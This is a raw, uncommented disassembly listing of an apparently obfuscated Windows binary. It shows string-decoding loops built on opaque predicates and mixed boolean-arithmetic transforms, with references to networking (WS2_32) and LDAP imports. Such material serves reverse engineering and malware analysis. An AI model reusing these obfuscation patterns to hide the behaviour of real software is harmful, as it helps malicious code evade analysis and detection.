mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov r11, r13
cmp r11, 0x43
jae 0x1400c9bd3
movzx r10d, byte [rbp + r11 + 0x600]
mov rbx, r10
nop dword [rax]
cmp r8, r11
ja 0x1400c9bca
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c90db
lea rcx, [r11 + r14]
mov rax, rbx
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rbx
add rdx, rcx
sub dl, 0x27
jmp 0x1400c9115
je 0x1400c9b5f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c9b34
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c9af6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c9ad5
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c9a90
cmp r9, r11
ja 0x1400c9bc1
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400c9140
lea edx, [r11 + 0x75]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x33
add dl, cl
jmp 0x1400c9180
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400c9a76
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c9a55
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c9a38
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c9a0b
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400c96da
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c96bc
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c9698
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c9677
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c9659
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c9639
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c961e
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c95fe
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c95e1
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c95b4
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c9190
lea r8, [r9 + 5]
lea r9, [r8 + 2]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c9ba5
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c9b89
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c9379
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c935d
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c9341
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c956b
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c9523
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c94e3
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c94bd
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c9190
lea r8, [r9 + 1]
lea r9, [r8 + 8]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c9490
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c9474
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c9453
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c9438
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c941a
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c93fb
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c93d8
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c93b4
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c9395
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c9190
lea r8, [r9 + 6]
lea r9, [r8 + 3]
jmp 0x1400c9190
lea edx, [r11 + 0x2b]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x2d
add dl, cl
jmp 0x1400c9180
lea edx, [r11 + 0x69]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x21
add dl, cl
jmp 0x1400c9115
lea edx, [r11 - 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x6f
add dl, cl
jmp 0x1400c90a6
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r10b
movzx ebx, r11b
jmp 0x1400c9aa8
lea ecx, [r11 - 0x1a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x4a
inc r9
dec r11
inc r11
jmp 0x1400c9093
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec r11
inc r11
jmp 0x1400c9093
lea edx, [r11 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
movzx ebx, r11b
jmp 0x1400c9b0e
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x60
add r8, r9
jmp 0x1400c9b47
lea ecx, [r11 - 0x22]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x12
jmp 0x1400c9b47
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx ebx, r11b
jmp 0x1400c999c
lea edx, [r11 + 0x5a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x76
add dl, cl
jmp 0x1400c99c6
lea ecx, [r11 - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x28
movzx eax, byte [rbp + r11 + 0x600]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9093
lea ecx, [r11 + 0x33]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x65
mov byte [rbp + r11 + 0x600], dl
inc r11
jmp 0x1400c9093
lea edx, [r11 + 0x71]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x17
add dl, cl
cmp r9, 2
jb 0x1400c94d3
movzx ebx, r11b
lea edx, [rbx - 0x5a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x14]
jmp 0x1400c9aaa
lea edx, [r11 - 0x51]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x37
add dl, cl
cmp r8, 0x7a
jae 0x1400c9966
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400c9882
lea edx, [r11 + 0x12]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7e
jmp 0x1400c94f8
lea edx, [r11 - 0x13]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7b
add dl, cl
lea rax, [r8 + r9]
cmp rax, 1
je 0x1400c9988
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400c97d2
lea edx, [r11 - 0x63]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4b
jmp 0x1400c9538
lea ecx, [r11 - 0x42]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x32
movzx eax, byte [rbp + r11 + 0x600]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9093
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, select
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c99c6
movzx ebx, r11b
lea edx, [rbx + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c999c
lea ecx, [r11 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x48
jmp 0x1400c9b47
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x1400c9b47
movzx ebx, r11b
lea edx, [rbx - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c9b0e
lea ecx, [r11 + 0x32]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x5e
dec r11
inc r11
jmp 0x1400c9093
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x10
inc r9
dec r11
inc r11
jmp 0x1400c9093
movzx ebx, r11b
lea edx, [rbx - 0x52]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_33
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c9aa8
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400c96fd
lea edx, [r11 - 0x1f]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x27
jmp 0x1400c9580
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c9733
lea ecx, [r11 - 0x16]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x66
movzx eax, byte [rbp + r11 + 0x600]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9093
inc rax
cmp r8, rax
jne 0x1400c975a
movzx ebx, r11b
lea edx, [rbx + 0x6e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 2
add dl, cl
jmp 0x1400c999c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c977e
lea ecx, [r11 + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x50
jmp 0x1400c9b47
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c97a7
lea edx, [r11 - 0xe]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x1400c9b47
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c9582
movzx ebx, r11b
lea edx, [rbx - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c9aa8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c97f8
movzx ebx, r11b
lea edx, [rbx + 0x5f]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x67
jmp 0x1400c9aa8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c9822
lea ecx, [r11 - 0x1d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x35
dec r11
inc r11
jmp 0x1400c9093
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c9848
movzx ebx, r11b
lea edx, [rbx - 0x5b]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x7d
jmp 0x1400c9b0e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c953a
lea ecx, [r11 + 0x6f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 9
movzx eax, byte [rbp + r11 + 0x600]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9093
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c98ba
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x600]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9093
inc rax
cmp r8, rax
jne 0x1400c98e1
movzx ebx, r11b
lea edx, [rbx + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x68
add dl, cl
jmp 0x1400c999c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c9907
movzx ebx, r11b
lea edx, [rbx - 0x62]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x52
jmp 0x1400c9b0e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c9933
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec r11
inc r11
jmp 0x1400c9093
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c94fa
lea edx, [r11 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x1400c9093
movzx ebx, r11b
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x600]
sub cl, al
add cl, 0x14
add cl, cl
jmp 0x1400c9b0e
movzx ebx, r11b
lea ecx, [rbx + 0x2a]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x26]
add bl, 0xb
movzx eax, r10b
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x4d
add cl, bl
movzx eax, cl
mov byte [rbp + r11 + 0x600], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, cl
mov byte [rbp + r11 + 0x600], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x600]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9093
lea ecx, [r11 + 0x47]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0xf
movzx eax, byte [rbp + r11 + 0x600]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9093
movzx ebx, r11b
lea edx, [rbx + 0x7d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6b
jmp 0x1400c9b0e
lea ecx, [r11 - 0x45]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x1d
dec r11
inc r11
jmp 0x1400c9093
movzx ebx, r11b
lea edx, [rbx + 0x37]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x7f
jmp 0x1400c9aa8
movzx ebx, r11b
lea edx, [rbx - 0x4d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x1b
add dl, cl
sub bl, 0x79
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x4f
add r10b, bl
mov byte [rbp + r11 + 0x600], r10b
inc r9
dec r11
inc r11
jmp 0x1400c9093
lea ecx, [r11 + 0x2f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x49
dec r11
inc r11
jmp 0x1400c9093
movzx ebx, r11b
lea edx, [rbx + 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 5
add dl, cl
add bl, 0x49
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
inc r10b
add r10b, bl
add r10b, dl
mov byte [rbp + r11 + 0x600], r10b
add r8, r9
jmp 0x1400c9b47
lea rcx, [r11 + r15]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x5f
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400c9093
lea rcx, [r11 + r12]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x75
movzx eax, byte [rbp + r11 + 0x600]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9093
sub r11b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x43
jmp 0x1400c9090
add r11b, 0x23
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0xb
jmp 0x1400c9080
lea rdx, [rbp + 0x142fd2c]
jmp 0x1400c9bda
lea rdx, [rbp + 0xa0c60d]
jmp 0x1400c9bda
lea rdx, [rbp + 0x600]
mov rcx, rsi
call fcn.140064200
mov byte [rbp + 0x1a0], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x1a1], Ordinal_200
mov byte [rbp + 0x1a2], 0xf2
mov byte [rbp + 0x1a3], 0xf3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1a4], xmm0
mov qword [rbp + 0x1b4], rax
mov dword [rbp + 0x1bc], eax
mov byte [rbp + 0x1c0], al
movabs r14, 0xd1902d003f239ade
movabs r15, 0x5e119502384071ce
movabs r13, 0xbaf13b01b9f93c12
movabs r12, 0x74b08700bd6ad09a
movzx ebx, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor r11d, r11d
cmp r11, 0x21
jae 0x1400ca76d
movzx r10d, byte [rbp + r11 + 0x1a0]
mov rdi, r10
nop dword [rax]
cmp r8, r11
ja 0x1400ca765
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c9cab
lea rcx, [r11 + r14]
mov rax, r10
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r10
add rbx, rcx
sub bl, 0x12
jmp 0x1400c9cd0
je 0x1400ca6f9
inc rax
cmp r8, rax
je 0x1400ca66c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ca63b
nop word [rax + rax]
cmp r9, r11
ja 0x1400ca75d
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400c9cf9
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7a
jmp 0x1400c9d30
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ca5f2
inc rax
cmp r8, rax
je 0x1400ca5ce
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ca5b1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400ca593
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400ca2a5
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400ca284
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ca25d
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400ca23c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ca21f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400ca201
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400ca1e6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ca1c8
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400ca1aa
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400ca17a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c9d40
lea r8, [r9 + 3]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400ca741
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400ca725
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c9f39
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c9f1b
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c9efd
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400ca12d
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400ca0e6
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400ca0a8
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400ca083
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c9d40
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400ca053
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400ca035
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400ca017
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c9ffc
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c9fde
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c9fc0
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c9f9c
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c9f75
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c9f53
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c9d40
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x42]
jmp 0x1400c9d40
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c9d30
lea edx, [r11 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c9cd0
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7e
jmp 0x1400c9c76
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx edi, r11b
jmp 0x1400ca60e
lea edx, [r11 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
inc r11
jmp 0x1400c9c63
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x1400c9c63
lea edx, [r11 + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x64
movzx edi, r11b
jmp 0x1400ca550
lea ecx, [r11 - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x40
add r8, r9
jmp 0x1400ca654
lea ecx, [r11 + 4]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x1c
jmp 0x1400ca654
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400ca686
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400ca6b2
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9c63
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x56
mov byte [rbp + r11 + 0x1a0], bl
inc r11
jmp 0x1400c9c63
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x32
cmp r9, 0x20
jb 0x1400ca098
movzx edi, r11b
lea edx, [rdi + 0x74]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x58]
jmp 0x1400ca60e
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0xe
cmp r8, 0x61
jae 0x1400ca530
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1400ca47b
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400ca0bd
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
lea rax, [r8 + r9]
cmp rax, 6
je 0x1400ca57d
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400ca3a3
lea edx, [r11 - 0x1a]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x4a
add bl, dl
jmp 0x1400ca0fb
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9c63
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400ca6b2
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400ca686
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x70
jmp 0x1400ca654
lea ecx, [r11 + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x4c
add r8, r9
jmp 0x1400ca654
movzx edi, r11b
lea edx, [rdi - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x28
jmp 0x1400ca550
lea ecx, [r11 - 0x24]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 4
dec r11
inc r11
jmp 0x1400c9c63
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
inc r11
jmp 0x1400c9c63
movzx edi, r11b
lea edx, [rdi + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400ca60e
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400ca2cb
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x12
jmp 0x1400ca146
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ca304
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9c63
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ca327
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3c
jmp 0x1400ca686
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ca34a
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x60
jmp 0x1400ca654
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ca377
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1400c9c63
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400ca146
movzx edi, r11b
lea edx, [rdi + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1400ca60e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ca3cb
movzx edi, r11b
lea edx, [rdi - 0x5e]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6e
add bl, dl
jmp 0x1400ca60e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ca3f5
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
add r8, r9
jmp 0x1400ca654
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ca419
lea ecx, [r11 + 0x4e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x22
jmp 0x1400ca654
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ca43e
lea edx, [r11 - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6a
add bl, dl
jmp 0x1400ca6b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ca0fb
lea edx, [r11 - 0x7e]
movzx eax, r10b
and al, dl
